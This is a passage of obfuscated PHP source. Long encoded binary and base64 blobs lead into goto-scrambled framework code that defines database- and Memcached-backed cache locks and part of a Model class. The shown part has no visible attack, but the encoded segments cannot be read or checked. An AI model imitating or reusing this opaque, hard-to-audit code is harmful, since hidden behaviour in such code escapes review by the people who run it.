22\377\11\37\273\303\166\342\143"."\241\4\360\75\103\67\307\24\67\322\136\122\15\347\162\304\322\207\11\302\14\124\357\3\243\255\24\12\62\20\150\222\140\333\211\114\122\107\234\71\171\175\206\331\52\110\125\244\142\120\122\23\163\340\312\320".base64_decode('T2A5QVD8gIl45YoZtnNw5v4DHqeIIioRuUBxCdvKKOjnY5TZVkbn522gYSBvl+pn4L8NMwrgrSU=')."\xdd\x88\x6b\x26\x7d\x26\x89\x35\x7d\x44\x14\x36\xff\xfb\x4c\x22\x33\xfc\x1f\x72\x71\xf9\x34\xad\xe6\x8d\xff\xf9\xab\x42\xa6\x29\x95\xda\xc7\xfc\xf7\xd9\x79\x1e\xd0\x51\xd4\x8c\xfa\x7f\xe8\x28\x98\x29\x26\xbe\x58\x46\x90\x4c"."\167\101\113\100\116\355\256\163\363\213\23\44\326\320\271\327\4\146\151\111\116\65\301\251\126\2\323\254\44\347\364\22\230\321\232\154\344\112\161\71\67\126\2\1\50\63\347\300\74\4\141\25\210\204\346\104".strrev(' =nʁ)ǤQBPrE߁If󒔭'."\0".'p'."\r".'q'."\n".'.܃t̊')."\356\364\335\23\360\350\116\236\115\270\56\307\317\240\223\267\362\14\123\377\53\33\220\355\23\66\101\16\325\142\202\311\302\177\315\42\34\145\341\144\241\44\134\133\264\207\21\146\344\162\67\151\5\226\22\141"."\202\314\344\117\216\106\62\303\73\227\104\54\253\353\143\305\202\300\12\160\52\336\145\233\356\341\272\372\231\372\21\67\237\336\377\11\23\27\373\237\260\20\143\20\220\170\317\140\164\224\36\373\352\52\222\57".base64_decode('CRmEPSTnm5xfzoj8coYwuxGb8OskDsZ1YQLsBHoWSn7LuO6wAfaM4ryqsHsgIhdlxvTVdVtF2OQ=')."\xfb\xa\x2c\x7\x9b\xb7\x31\x77\x1b\x8b\xce\xb1\xc5\xdb\xb6\x13\x2e\x3\xa3\x41\xc1\xe1\x32\x7e\x6e\x24\x32\x1a\xbd\x7e\x42\x17\x24\x5c\xf0\x2f\xe6\xe9\xd6\x40\x4d\xa\xf2\x3e\x7d\x7e\x5e\x78\xe9\x6\xb4\x8\xec\xd0\xa0\x23"."\x13\x6\x2\x9d\x28\x3c\x70\x21\xa8\x51\xe9\x4c\x42\x41\x93\x5\x7\xbb\x7a\x82\xed\x5e\xe4\x7b\x20\xd6\x1d\xa4\xcf\x37\xb7\xb4\xb4\xa2\x23\x63\xf6\xf2\x34\xa0\x17\x17\xf8\x50\x9a\x3d\xa5\x38\xa8\x18\x50\x93\x41\x8e\x10\x75"."\72\211\244\112\172\236\335\157\221\163\261\11\214\212\43\375\335\375\61\357\100\244\133\360\337\300\100\375\104\25\7\275\123\15\41\301\120\140\215\227\173\153\212\53\46\75\57\32\34\34\164\301\363\166\150\174"."\222\100\117\134\267\303\104\11\62\302\134\113\325\230\236\114\144\365\142\262\212\27\350\251\167\327\111\115\165\365\322\100\236\252\135\322\355\21\175\267\74\257\273\204\7\7\35\57\227\333\23\155\217\352\322\217"."\xe3\x24\xb0\x97\x0\x64\x25\xec\x98\x83\x25\xd5\x10\x2c\x8\xe8\x3b\xd1\xe4\xb7\x37\xb8\x8a\x68\x6\x77\x4\xfb\xc9\xf9\x41\xef\xa\xa6\x90\xe2\x53\xb\x54\x68\xee\x28\x7b\x80\x18\xe9\xd0\x4c\xe6\xb2\x4b\x99\x86\x8e\x70\x2a"."\xba\xcc\xd7\x5c\x30\xf4\x42\x4a\xcb\x27\x25\x80\x93\x37\x9b\x7d\x2d\x55\x3e\xef\xaa\xe6\xaa\x56\x90\xa4\x64\xb3\x30\x55\xf2\xb4\x2e\xf3\x70\x44\x32\x62\xfd\xa1\x60\x7f\x67\x80\x79\x6e\xe8\x87\x43\x10\x26\xd\xc7\x8f\x9f\xd3".base64_decode('d+zJp2y641Wgp6u47ngVqlOVRD3HIWscHKynXlJFM1WifwnNzYR+gFFmsYIIxOeHBvoCeWTYKbg=').base64_decode('w0wCA4mlXrdoqQc6Aq5P8Koc9irsmATUG0KTBneNLZ3lSqsWuZ5FcFi7pAeuOy78oLtuTMHMDrQ=')."\x8a\x1f\xa5\xea\x4f\xc8\xb8\x9f\x5f\x36\x93\x3b\x6c\x32\xcb\x5\x43\x5f\x6e\xa4\x1c\x67\xc6\xb\xa0\x48\x74\x5f\xe7\x18\x68\x12\xd\xb7\x54\x11\x4b\x3e\x3a\x2f\x20\x33\xac\x6a\xc5\x7c\x6f\x59\xb8\x59\x9d\x84\x83\xa\x9a\xdc"."\32\104\217\75\367\351\26\322\177\132\346\21\323\0\42\121\170\155\145\303\5\61\50\20\25\7\133\215\252\322\152\47\132\270\137\157\226\330\113\335\234\142\213\126\212\20\354\52\305\230\152\226\52\274\370\235"."\255\250\167\156\241\22\11\23\353\215\124\234\264\320\14\11\124\255\145\361\302\246\272\72\71\127\64\55\227\241\332\137\136\205\35\45\221\363\303\336\260\13\117\154\327\52\15\360\3\37\65\150\106\17\257\67".strrev('od &c\\YbsA, k e'."\0".'x'."\0".'GYV"tt8"dK').base64_decode('EsQhRVOi8ZAoSYIzFurJkF7HADqiueZBLd/YABW2sUUR3KcTYgDcsWjkm7H7IdOV0xJgVQcrqgs=').base64_decode('kEQzVMazl0EvMv//S4C1oFrj//+lQN0JrwUWmXjRUs3/qQzK4FhXYf2iVrIq1EsNdXVScAVEIyk=')."\xfb\x8\xb9\x68\x27\x13\x5e\x80\xc7\x87\xac\xd2\x58\x4f\x23\xa9\x94\xe8\xdb\xae\x19\x38\xc9\xb4\x7c\x81\x7a\x7a\x44\x8c\xa\xc\x7c\x48\x78\xf3\x5e\xb7\x2f\x7\x11\x1b\xb7\x26\xd\x4b\x52\x4e\x4d\x46\x1b\x2a\xbc\x27\xe1\x26"."\3\344\235\142\355\200\153\173\111\205\151\264\263\60\46\146\145\311\146\364\25\314\305\30\330\206\10\12\304\230\140\222\147\213\46\50\214\143\343\64\206\236\204\353\120\253\226\207\117\301\132\210\267\141\10\103".strrev('p212YʢYҵX'."\n".''."\n".'B'."\0".'kf3|#f3 4?0*\'').base64_decode('9BjFsnUtIxdcJHx6zRVB3+AMKI9XiGYJOjR2AX5SKmPJZbQAB3RWnjjrIv6VKytWx6ULKyI2HFw=').base64_decode('7fJPFkAd1SRYqcGGfcpmu+tZi80z8LVdbY2LBpjfIXLLQ0z8S2iZIkwaSqMkXALzAbpETdY7AQ0=')."\24\133\117\245\340\161\4\211\21\54\264\237\244\131\360\146\221\306\12\131\45\257\232\64\6\262\212\202\355\52\61\343\52\173\106\206\112\223\205\263\165\261\352\61\154\267\110\40\223\261\202\232\305\207\45\310"."\242\214\302\247\146\201\47\262\6\164\160\226\24\343\132\16\136\61\52\254\222\6\20\331\1\67\32\243\70\151\103\125\363\66\110\74\133\124\155\0\45\133\310\50\10\202\1\344\55\207\216\270\247\43\355\351"."\x30\x3c\x1d\x64\xab\xbd\x2b\xfe\x21\xaf\x33\x77\x90\x55\xab\x83\x64\x22\xb9\x50\x3\xf1\x4e\x1a\x3a\x95\x49\x6b\xa9\x8a\x70\x78\x35\x57\x31\xa1\x40\xa5\xba\x9\xae\xb1\x93\x11\x74\x69\x4\x74\x78\x59\x8d\xee\x24\x84\x94\x90".base64_decode('brG1lWuSoaRUlmp0BXq7Yp09gf4YEvGDfRFvjyMB8MxIoKMM3B6kbmUdtY7n7BpnWh4t8/3cPQ4=')."\x88\x2a\x26\x73\xab\x4a\xbc\x15\x92\x3c\x50\xb9\x1f\x7\x97\x2e\x8b\x1b\x1e\x6a\xb1\x18\x17\x36\x3c\x66\x4e\xc9\x32\x85\x26\xf\x55\x38\xf7\x98\x45\x22\x22\x10\xf\x2a\x3d\x1\x32\x77\x3c\x64\x7f\xd7\xa3\xc5\xa9\x25\x4f\x47".strrev('1UZ@Jq6,m::yIf]"').base64_decode('HjLosd23hxTDi1tQIXGNVpglUSvQ5xgLVM+8UKSX2ew4TXBrs4j8TpLf+DQha8UgugMJheTXTHI=')."\x3e\x96\x9e\x86\xaa\x6f\x34\xc\x56\x9a\x2c\x3f\xc7\x44\x5a\xc1\x23\x52\x87\x92\x9f\x67\x49\x41\x80\xb6\x54\xea\x85\x16\x45\xf9\xb4\x34\xd\x5a\x8e\x7d\x34\x9b\xdc\x19\x87\x99\x51\xb3\xd9\x18\x54\x79\x23\xd5\x4d\x64\x74\xc9"."\271\201\244\321\331\277\301\213\41\340\42\325\327\200\314\23\124\220\114\52\62\223\205\333\176\356\172\202\230\337\271\335\104\211\7\172\54\0\314\304\216\204\234\143\122\127\4\350\330\40\6\370\234\340\103\21"."\x4a\x4a\x12\x5c\x5a\x90\x1d\x83\xcd\xdd\xcb\xa\x3d\x49\x86\xad\x19\xfb\x78\x49\xaa\x93\x4b\x25\xe4\xc0\x88\x78\xda\xae\xec\x33\x8\x7d\x46\x2\x9f\x81\x36\x5b\x12\x36\x94\xb5\x29\x8\x62\x84\x32\x48\xb3\x4d\xcf\x10\x27\x94"."\x57\x78\x6e\x5d\x7d\x9d\x60\x93\x11\xe8\xf0\x87\x63\x27\x85\xa1\x3b\xce\x9e\x0\x75\x1f\x63\x4f\x8\x80\xb4\x48\x68\x96\x14\x6f\x68\xb6\x94\x60\xfb\x49\xb3\xa4\x74\xd0\xfd\x83\x3d\xa5\x27\x18\xc\x8b\x9e\x8a\x1c\xd5\x1b\xe8".base64_decode('F3wQhjEKXLvridJn30AP4V9RQsFRwos7iHpTtDi3rsmk9M4eqIR9ExOekcZHZjisox0aDksJBZs=')."\265\304\125\54\25\250\111\350\177\24\326\116\62\201\254\114\71\371\34\350\134\330\343\251\166\317\257\71\141\116\116\204\105\153\41\60\132\353\231\63\100\252\61\207\303\0\302\11\14\356\131\133\135\65\63\257"."\306\135\133\35\255\257\141\352\133\121\152\13\26\215\26\211\362\323\310\372\246\15\334\325\141\164\330\135\33\35\71\101\320\46\133\17\0\33\30\140\42\103\317\303\220\7\11\206\145\326\126\17\127\315\33\161"."\327\16\257\215\106\107\140\260\6\300\232\41\74\32\166\327\326\310\155\47\170\6\64\123\304\307\16\233\147\305\41\135\116\255\301\12\354\160\37\212\54\32\330\45\41\133\10\121\237\266\337\17\230\262\340\16"."\xce\xca\x15\x4\xb2\x85\x1e\xcb\x16\x36\x89\xaa\xe5\x18\x42\x97\x94\x22\x5d\xfb\x50\x90\xd4\x2\x3e\x5d\x6c\x9\x60\x41\xc3\x9d\x46\x6d\xb3\xa5\x4e\x6a\x7\xa2\x9a\xcd\x2a\xd9\xe6\xb3\x4e\xa8\x9d\x31\x5f\x28\x28\x26\x7a\x6a".base64_decode('RBDxDQ8YF95DFeoK5DXBuQosiDofIoKAYmZm8caDHWOABgh1QqzFDTf8wkLb7fAqRbZR5X2Iw4A=')."\220\311\324\102\170\340\123\150\137\103\375\205\160\235\360\211\70\351\1\330\307\61\307\7\231\161\163\126\330\216\162\35\30\44\115\160\55\54\32\245\42\122\102\51\300\373\232\44\76\31\7\35\117\276\315\102".base64_decode('A/3QlxvkBDF6hiqAAn2BWDiwxl+WAF0PV04B630kQMUfAd4XRO7TbPCBvhV9wcFKqJHefi5LCEk=')."\x1d\xde\xbe\x48\x4c\xd8\x93\xe2\xcd\xa\xd8\x72\xb1\xdd\xa\x55\x58\x4f\x18\x89\xc6\x86\x38\x9b\x66\xcc\xad\x18\x95\xe5\xc9\x4c\xa1\x6b\x3e\x77\x55\x30\xe9\x62\xfa\xfb\x74\xbf\xe3\xe3\x1e\x46\x48\x36\x74\xf0\x4a\xaa\x80\xfc".base64_decode('rZAM4imOmCxLFc9w2IbKUPJmSjUcx5NxLa9Q56k5+u0cs2eDTpfI9MS2ZyblC8LddYFdABKDLwM=')."\244\32\111\150\235\44\234\331\345\255\220\232\26\243\75\72\323\331\103\253\171\205\42\340\73\71\202\221\11\334\244\170\23\126\121\174\217\107\170\0\35\304\204\307\350\5\103\73\127\275\304\132\24\303\45\343"."\310\174\41\1\153\212\127\60\326\163\370\34\100\326\257\170\362\102\137\276\371\160\61\316\374\311\70\254\353\250\207\122\111\264\153\243\76\110\141\1\350\11\31\330\2\123\114\3\305\302\367\217\171\313\304\54"."\xe8\x9b\x65\x59\x70\x1a\x34\x3f\xe3\xac\x4c\x4c\x31\xa1\x42\xd6\x0\x15\xbb\x2a\xa5\x54\xf8\x14\x4a\x12\x7a\x34\x41\xf7\x71\x64\x29\x22\x9d\x38\xc4\xfb\xca\xa2\xfd\xdd\xe0\x6a\x24\xce\x46\x74\xd1\xb3\x1c\x36\x5e\x23\x9d\xeb".strrev('4TD 3+tS0C1a^Can%q9fc|Gj')."\226\302\235\5\223\175\66\117\225\16\4\60\345\355\351\344\31\173\241\62\366\14\6\366\334\347\123\271\43\17\224\205\327\231\73\370\4\40\260\317\101\217\236\360\116\340\376\337\360\23\72\324\57\251\67\231"."\164\202\43\72\3\226\373\220\163\63\217\252\304\243\73\330\200\206\3\301\276\352\32\50\121\331\214\370\173\247\230\317\155\60\152\150\315\356\125\46\371\240\260\10\115\145\64\151\332\42\330\43\242\55\67\3"."\x31\xac\x9\x35\xce\x58\x34\x61\x9a\xdd\xfd\x1e\x6\x6a\xa7\xdd\xc4\x9e\x58\x21\x66\xcd\xd0\xc1\xbd\x58\x68\x30\x4c\xca\xc3\xd6\x4e\x84\x6f\x36\x33\x27\x91\x74\xfb\x33\x91\xd3\x12\x52\x4f\xb0\xb\xee\xbd\x7d\x81\xf0\xa\x29"."\xad\x5a\x12\x17\x7a\xd0\x25\x85\x7d\x96\x23\xf\xc\xe8\x50\x8f\x12\x79\x9c\xaa\xb0\xa0\xa0\xb\x1d\x80\xb8\x6c\x6e\x7a\xd8\x8e\x44\xf4\x1e\x9\xb\x2a\x2b\x18\x8f\xba\x58\x1c\x3c\x3d\x71\x25\x99\x99\xab\x3\x97\xa\x9\x65".strrev(':K/JjO)KDKLuƎy 9').base64_decode('36xb8dtAjm+W2SfzOMYhz3IJlrB4eMTX6ISVAXohAMsu13srUBcu5Kqd0gmJCrfWtmfrSDLYFSo=')."\x1a\x25\x7b\x1c\x16\x72\x84\x2\x5d\xdd\x91\xd9\x8a\x2b\xc3\xd6\x92\xfc\x4d\x3a\x47\x65\xb4\x24\x95\x1c\x99\x6b\x6a\x20\x2f\xa2\xf2\xb0\x6\x8f\xad\x4e\x50\x49\x81\xf3\x91\x80\x4f\x46\xaf\x89\x71\xbf\xa8\x28\x8\x64\x4b\x19"."\36\165\241\12\310\374\272\76\206\56\214\311\24\323\164\144\216\112\154\72\61\54\20\214\341\207\226\160\324\343\24\227\123\310\140\24\131\32\11\16\202\74\364\370\221\71\265\206\247\320\176\352\256\306\155\321"."\x10\x4\x73\xb\x54\x98\x91\x3e\xad\x45\x2b\x8b\xa3\x4e\x37\xaf\x19\x9b\xbc\x5c\x8e\xb\xd2\x24\x6e\x28\xcf\x10\xa4\x16\xa9\xe\xf9\x5b\xc0\xba\x35\xe8\xae\x67\x19\x75\x60\xf\x1b\x8f\x8d\x97\xd1\xf3\x62\xfe\x5c\xc1\xb2\x19"."\66\167\153\46\177\210\2\211\14\174\153\4\345\60\75\67\125\6\260\131\316\367\320\152\60\117\244\320\244\44\237\322\305\226\41\366\345\7\154\102\106\41\154\60\55\303\123\153\253\37\21\101\217\132\122\355".base64_decode('2Wcty3TyfcazbUwSRQQ6QraogiN3+gt90pgiPQpCCbFgipJfyg+dRYOx6SAaIpQAYbQssVflKmk=')."\xa4\xae\x32\x67\xf1\xf8\x66\x1a\x80\xb0\xa7\x23\x10\xe0\x14\x4d\xd3\x84\xe1\xc7\xaa\xe9\x21\xec\xf7\xd0\x8d\xdd\x58\x50\x19\x24\xad\x31\xe7\xa6\x36\x34\x42\xee\x60\xbb\x30\xab\xc3\x15\xb2\xd6\x61\xe7\x2b\xc5\x7c\x0\xbb\xb3"."\xb7\x41\xd\x41\xd4\x16\x7d\xe2\x62\x37\x33\xdc\xed\x38\x41\x7\x5f\xeb\xc7\x7e\x65\xc8\x84\x14\x8b\xa4\xee\x7b\xd0\xf\x14\xc6\x1\xbd\x32\x93\x66\x4f\xb9\xbb\x1f\xe8\x97\x91\x89\x12\xdc\x8f\xe9\x98\x8e\x24\x5a\xb7\x28\xb".base64_decode('EwRpmUTni2nZ6AiKH0AykVEAEacoMFWG2ogTobABQ68esrGDPUp+fGqKiZIwzvcc4oMdtAmYMMo=')."\276\201\176\341\206\132\306\155\224\31\271\150\146\17\122\65\64\303\130\330\222\271\347\170\31\237\323\43\203\26\316\34\170\167\120\262\117\253\374\203\260\206\21\361\343\66\251\316\51\320\261\136\162\144\10\71".base64_decode('ezKil3tJ4P6N8sUcdyQFInZhFov5ZKi/qrlFIysjNVmZPmMn45dRZVsRqEIxS2gwk6wcw1X2sf8=')."\xa2\x74\xe2\xf5\x16\x9\xb7\x40\x4c\xc0\x6e\x27\x70\x52\x33\xba\xe4\xa8\x8c\xa6\xd9\xe8\x12\xec\x24\xf9\xf1\x31\x7e\x57\xb3\xe0\x64\x94\x43\xb9\x64\x43\xe3\x82\x25\xe2\xde\x91\xf\x23\xf7\x66\x43\x5f\x8a\xc6\x3f\xf4\x98\x8c".strrev('Sy1\'3[_вV,ӄI[WX^Kwhl)>3d')."\x45\x71\x16\xf4\xb8\x97\xcd\x21\x2b\x13\xcc\x67\xa7\x9c\xcd\xc2\x2f\x52\xfe\xf7\x15\xa3\x92\x9c\x62\xf7\x78\x85\x52\xf9\xa2\x8\x59\x4\x5e\x37\x5\x80\x10\xa4\xb5\x52\xc4\x69\x29\x1c\x66\xa8\x56\x10\x9a\xcf\x93\xd1\x15\xf6"."\20\40\305\206\46\254\205\40\306\126\170\376\326\24\254\30\375\332\54\102\77\235\237\274\272\310\43\76\367\320\201\110\321\106\226\302\133\260\242\203\171\124\120\104\360\3\130\136\64\332\165\222\112\22\272\104"."\xd7\xf3\xc8\xdf\x9c\xb7\x8b\xbd\x19\x0\xaf\x2e\x79\x15\x60\x8c\x33\x23\x4b\xe7\x29\x96\xe0\xcd\x1e\xb2\xaf\x20\x3d\xa7\x3\xdb\x56\x9b\xe0\xa\xe2\xdc\xce\x49\x98\x5d\x49\x7\x50\x94\x34\x84\xd9\xa\x66\x91\x26\x8\x9f\x44"."\52\343\142\16\152\250\340\103\210\154\214\171\117\171\311\264\114\312\342\13\270\40\312\250\216\254\33\144\176\43\367\301\370\263\302\52\301\27\4\36\352\243\246\0\60\42\34\1\41\141\221\45\146\104\71\22"."\76\217\144\27\235\130\55\20\57\253\64\1\160\45\40\365\221\245\12\5\51\377\204\272\302\310\104\27\346\41\275\147\347\7\250\101\137\261\336\301\342\230\373\152\141\361\24\371\363\336\142\52\41\43\331\26"."\x23\x11\x2e\xb5\x21\x35\x6b\xe1\xca\x8\xc5\x99\xb\x52\xfa\xb0\x15\x7d\xef\x4a\x61\xde\x61\xa0\xdb\x1b\xb6\x55\xc2\x47\x4a\x4\x25\x9b\xe5\x6b\x81\xf8\x90\x49\x36\xae\x18\x6e\x40\x4e\x63\x16\x75\x15\x56\x29\x22\xbe\xf\x50"."\x41\xc2\xa7\x52\x6\x6f\x40\x5e\x4b\x8c\x55\x70\xd\x4\x3b\x1b\xaa\xe0\x8\x6c\x58\x58\xbc\xca\xd0\x38\xd7\x0\x6b\x1c\x53\x9d\xa3\x21\x24\xe\x43\xb1\x87\xbc\xf2\x6d\x7b\x3d\x22\xc8\xae\x94\x6b\x88\x5b\xb9\x91\xe5\x74\xf6"."\303\51\107\317\252\304\211\157\3\225\261\213\210\155\75\260\1\305\356\41\104\0\335\303\123\172\260\345\200\116\210\332\5\271\32\43\231\142\337\332\36\300\50\367\24\125\236\233\115\100\61\13\137\56\160\34"."\xbe\x1e\x6c\xdf\xb0\x8a\x45\xe3\x6b\x60\xb8\x29\xb\xc1\xfd\x93\xdb\x51\x3c\x9b\x31\x15\x67\x89\x66\xe2\x23\x3f\x71\x6f\x1\x42\x62\x45\xe9\x34\xeb\x37\x74\xb4\xc2\xdb\xa1\x6c\xd\x10\xcc\x91\x4\x55\xa1\xb0\x93\x51\x59\xba"."\255\217\200\100\56\34\307\343\227\41\361\343\337\360\131\73\300\256\244\360\100\157\65\362\363\15\1\60\200\137\27\133\107\4\216\165\322\76\222\360\37\176\143\256\32\46\303\102\326\111\201\76\376\312\157\215".base64_decode('xN9GE18Yh+dVnTqjA/szBdCHsJ3oWyuhJXTDFNCEJ5ZWQofrONir5enrGISWaXbS9ThWqXww0mE=').strrev('_E2B=j*v'."\n".'%$LEe;;1AQͶew hu&6')."\55\3\277\360\5\203\0\167\314\200\222\361\111\236\267\244\60\165\25\147\256\1\233\204\53\334\147\44\20\5\362\155\10\312\30\7\265\104\377\170\13\232\63\207\225\321\214\144\273\226\117\72\361\213\371\70"."\x83\x72\x74\x30\x18\xed\x95\xc0\x40\x72\xea\x74\x9c\xf7\x31\xb8\xb0\xac\x70\x6e\xa9\x94\xf8\x79\x37\x97\x39\x93\xc9\x4e\xa5\x54\x1\x95\x99\x51\x33\x28\x80\x30\x54\x24\xea\x8\xf\xad\x70\x6f\xbe\xea\x84\xf8\x75\x82\x97\x2a"."\x5f\x54\x20\x62\x39\x94\x3f\xc4\xe2\x6c\x17\x9a\x37\xc\x4e\xae\x18\xf2\x82\xab\x35\x42\x6e\x1c\x84\x70\x12\xcc\x97\x1e\x2e\xca\xd0\x51\x46\x25\xc9\x9d\xec\xe1\x3a\xb2\xed\x21\xff\xa4\xfd\xbd\x18\x86\xc6\xc4\x30\x80\x83\x14".base64_decode('0l02qMOhMDwpo8urI4nsTYXiK25hbaTQIxQn3nLMmiFc+SOcXu1dHHbcrThYKEemK5tuGxCBwbI=')."\306\22\314\220\230\150\253\242\163\270\321\66\202\323\52\6\346\320\371\25\116\363\332\223\60\276\352\150\221\230\301\331\132\234\303\50\353\63\222\247\362\247\235\37\240\135\346\274\143\344\205\10\73\230\262\13".base64_decode('0IheIQ+uUcVsOAnm5KKbLa85oVmJTMW8OAnmLUummYUNt5DPUormLM0r7zw0tRxdRxrMPYELqLM=')."\xf5\x67\x45\xe4\xf2\xcf\x11\xe2\x71\x62\xa3\x4d\x74\xe5\x5a\x54\xdc\xf0\xcf\x56\x8b\x8a\xc8\xb3\xd6\x82\x63\x3b\xee\x3a\x2b\xf1\x48\x9a\x52\x81\x2b\xf2\xab\xc9\x72\xfe\xcb\xd3\x2a\x5c\x94\xe2\x32\xe1\xe2\x1c\xb2\xe9\xd\x96".base64_decode('JYu3rpXvZUMVZ7FpvzB1wMWOoRogb59x+jtbLwj0SzQggm1cu5gfy1PXSuAL3GUhNJ/0Gs7+ozI=').base64_decode('oMONLyXPfFFwHVvRD7AMN8blO88sdbwleknGOxbd0hKCvgYEio5+cTr9SJYfkxEBAl+9+UT1Y1Q=')."\133\15\276\41\317\256\72\155\367\172\25\322\335\374\330\324\346\106\32\275\105\306\114\312\361\212\116\16\216\361\65\7\122\255\41\220\366\51\270\341\222\361\102\211\223\303\272\141\101\123\163\300\314\13\350\267"."\x5d\xb7\x2c\xca\x63\x80\x58\x8c\x30\x91\xdc\x87\x3c\xd9\x8\x17\xb9\x20\xc4\x1f\x7b\x85\x7d\x8b\xce\xac\x11\xa1\x22\x86\x82\x82\xe4\xc2\x5\x6e\x4e\xc3\x2a\x4e\x45\x6c\xc8\x16\x81\x67\xe1\x2c\x12\x2a\x3f\xf4\xee\x2c\x3a\x6e".base64_decode('eDgAbCvj+iQhAvSMDK8PPLQm3eKU7fhTBIQKxWtppAtmenCKh+iNu1AZLvLWINMbI9mTaGIxX5g=')."\137\125\2\71\343\343\105\340\7\255\321\71\21\174\7\336\277\72\20\216\204\313\222\372\275\341\360\140\60\344\303\272\247\145\311\50\227\240\3\120\226\324\337\35\354\233\55\315\337\353\15\364\224\245\101\235"."\0\250\21\113\237\303\304\111\201\176\124\113\157\117\17\125\100\53\257\105\240\143\5\257\11\272\376\342\207\265\205\214\116\317\76\35\312\61\364\154\73\254\320\151\2\231\77\333\32\13\141\65\307\316\254\204"."\342\354\347\11\342\220\233\364\271\126\26\50\224\155\77\4\51\1\336\341\367\221\302\102\324\345\43\174\33\234\115\177\46\12\243\306\211\312\100\374\262\317\155\273\24\24\340\150\342\40\46\44\20\244\270\6"."\43\0\121\136\165\134\312\70\72\263\313\161\374\152\273\326\103\20\336\41\260\336\47\121\227\17\243\172\134\270\351\301\174\312\306\241\104\55\14\34\166\60\260\144\104\217\50\151\302\127\240\124\302\143\355\123".strrev(''."\0".''."\0".'>Kd˅nRlehget($dϻ); if (!$eһƭ || $eһƭ < microtime(!0)) { $e = $E->handle->add($dϻ, $bϪ, $Fג); if ($e) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Bݷ) { return Cache::init()->get($Bݷ); } public function unlock($b٨) { return Cache::init()->remove($b٨); } } class CacheLockDatabase { public function lock($aކǚ, $F = 0) { $D = Model($_SERVER[ֹ][752]); $aՊ = microtime(!0) + $F; while (microtime(!0) < $aՊ) { $Aѱ = $D->get($aކǚ); if (!$Aѱ || $Aѱ < microtime(!0)) { $aʅ = $D->set($aކǚ, $aՊ); if ($aʅ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($E֫) { return Model($_SERVER[ֹ][752])->get($E֫); } public function unlock($E͂) { Model($_SERVER[ֹ][752])->remove($E͂); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($C, $f򅌒湔) { $dۄ´ =& $_SERVER[ֹ]; if (!class_exists($dۄ´[773])) { show_json($dۄ´[774], !1); } $this->cacheTime = $f򅌒湔; $this->handle = new Memcached(); if (is_array($C[$dۄ´[775]]) && count($C[$dۄ´[775]]) >= 1) { foreach ($C[$dۄ´[775]] as $aӮ) { $BΚȖ = explode($dۄ´[4], $aӮ); $this->handle->addServer($BΚȖ[0], $BΚȖ[1]); } } else { $this->handle->addServer($C[$dۄ´[165]], $C[$dۄ´[166]]); } } public function set($DЦ, $Eܲ, $f = false) { $f = $f ? $f : $this->cacheTime; return $this->handle->set($DЦ, $Eܲ, $f); } public function get($a) { return $this->handle->get($a); } public function remove($Cɜ) { return $this->handle->delete($Cɜ); } public function deleteAll() { return $this->handle->flush(); } } goto aק; aԏ花: define($_SERVER[ֹ][226], 0); define($_SERVER[ֹ][227], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\142\154\145", "\x6f\x72\144\x65\x72", "\x61\x6c\151\x61\x73", "\x68\x61\166\x69\156\x67", "\x67\x72\157\165\x70", "\154\x6f\x63\x6b", "\144\151\163\164\151\x6e\143\x74", "\x61\x75\x74\157", "\x66\x69\x6c\x74\x65\162", "\166\x61\154\x69\x64\x61\x74\x65", "\x72\145\x73\165\x6c\164", "\x62\151\x6e\x64", "\164\x6f\153\x65\156"); public function __construct($d = '', $F꘭ = '', $Cތڅ = '') { $D =& $_SERVER[ֹ]; $this->_initialize(); if (!empty($d)) { if (strpos($d, $D[91])) { list($this->dbName, $this->name) = explode($D[91], $d); } else { $this->name = $d; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($F꘭)) { $this->tablePrefix = $D[33]; } elseif ($D[33] != $F꘭) { $this->tablePrefix = $F꘭; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($D[228]); } $this->db(0, empty($this->connection) ? $Cތڅ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $C䂖 =& $_SERVER[ֹ]; if (empty($this->fields)) { if (think_config($C䂖[229])) { $f桎 = $this->dbName ? $this->dbName : think_config($C䂖[230]); $dѠ = think_var_cache($C䂖[231] . strtolower(get_path_this($f桎) . $C䂖[91] . $this->name)); if ($dѠ) { $aᇱ = think_config($C䂖[232]); if (empty($aᇱ) || $dѠ[$C䂖[233]] == $aᇱ) { $this->fields = $dѠ; return; } } } $this->flush(); } } public function flush() { goto b; b: $F⍈ƻ =& $_SERVER[ֹ]; $this->db->setModel($this->name); $a奄 = $this->db->getFields($this->getTableName()); goto d吧; F: if (think_config($F⍈ƻ[229])) { $F૮ = $this->dbName ? $this->dbName : think_config($F⍈ƻ[230]); think_var_cache($F⍈ƻ[231] . strtolower(get_path_this($F૮) . $F⍈ƻ[91] . $this->name), $this->fields); } goto b; bЍ: foreach ($a奄 as $bۏŇ => $e) { $bֹ[$bۏŇ] = $e[$F⍈ƻ[29]]; if ($e[$F⍈ƻ[36]]) { $this->fields[$F⍈ƻ[235]] = $bۏŇ; if ($e[$F⍈ƻ[39]]) { $this->fields[$F⍈ƻ[234]] = !0; } } } $this->fields[$F⍈ƻ[236]] = $bֹ; if (think_config($F⍈ƻ[232])) { $this->fields[$F⍈ƻ[233]] = think_config($F⍈ƻ[232]); } goto F; d吧: if (!$a奄) { return !1; } $this->fields = array_keys($a奄); $this->fields[$F⍈ƻ[234]] = !1; goto bЍ; b: } public function switchModel($f㏪, $EØ˼ = array()) { $Aӝݻ =& $_SERVER[ֹ]; $fȹ = ucwords(strtolower($f㏪)) . $Aӝݻ[237]; if (!class_exists($fȹ)) { think_exception($fȹ . think_lang($Aӝݻ[238])); } $this->_extModel = new $fȹ($this->name); if (!empty($EØ˼)) { foreach ($EØ˼ as $C٭쿙) { $this->_extModel->setProperty($C٭쿙, $this->{$C٭쿙}); } } return $this->_extModel; } public function __set($bϗ, $Dጪ) { $this->data[$bϗ] = $Dጪ; } public function __get($e) { return isset($this->data[$e]) ? $this->data[$e] : null; } public function __isset($B) { return 